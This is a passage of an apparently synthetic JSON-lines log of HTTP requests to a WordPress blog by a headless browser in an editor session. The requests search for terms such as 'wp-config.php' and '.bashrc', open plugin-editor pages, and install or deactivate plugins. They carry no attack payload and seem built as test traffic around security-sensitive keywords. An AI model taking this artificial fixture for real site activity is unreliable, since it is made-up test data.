wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209919"], "body": ""} +{"method": "GET", "target": "/?tag=powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209919"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit.php?tag=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209934"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit.php?category_name=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209935"], "body": ""} +{"method": "GET", "target": "/?s=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/?s=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/?s=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/search?search=.htaccess&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=example-plugin%2Finstall-script.sh&plugin=example-plugin%2Fexample-plugin.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209935"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=example-plugin%2Fscripts%2Fpowershell-setup.ps1&plugin=example-plugin%2Fexample-plugin.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209936"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=example-plugin%2Fassets%2Fdocument.write.js&plugin=example-plugin%2Fexample-plugin.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209936"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-editor.php?plugin=docker-helper%2Fdocker-helper.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209936"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-editor.php?plugin=powershell-tools%2Fpowershell-tools.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209936"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugins.php?action=deactivate&plugin=docker-helper%2Fdocker-helper.php&plugin_status=all&paged=1&s&_wpnonce=6a63c44dbf", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209937"], "body": ""} +{"method": "GET", "target": "/wp-admin/update.php?action=install-plugin&plugin=docker-helper&_wpnonce=6f3e7b77ac", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209937"], "body": ""} +{"method": "GET", "target": "/?rest_route=/wp/v2/search&search=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209921"], "body": ""} +{"method": "POST", "target": "/?rest_route=/wp/v2/posts/1", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 40", "X-WP-Nonce: 3e816ac72c", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209921"], "body": "{\"id\":1,\"title\":\"Hello from the editor\"}"} +{"method": "GET", "target": "/wp-json/wp/v2/templates/lookup?slug=single-post-powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/posts?slug=python3-tutorial", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/posts?slug=powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/posts?slug=.htaccess-guide", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/pages?slug=python3-tutorial", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/pages?slug=powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/pages?slug=.htaccess-guide", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/tags?slug=python3-tutorial", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/tags?slug=powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/tags?slug=.htaccess-guide", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/categories?slug=python3-tutorial", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/categories?slug=powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/categories?slug=.htaccess-guide", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/users?slug=python3-tutorial", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/users?slug=powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/users?slug=.htaccess-guide", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fblog.example%2Fpowershell-basics%2F", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: 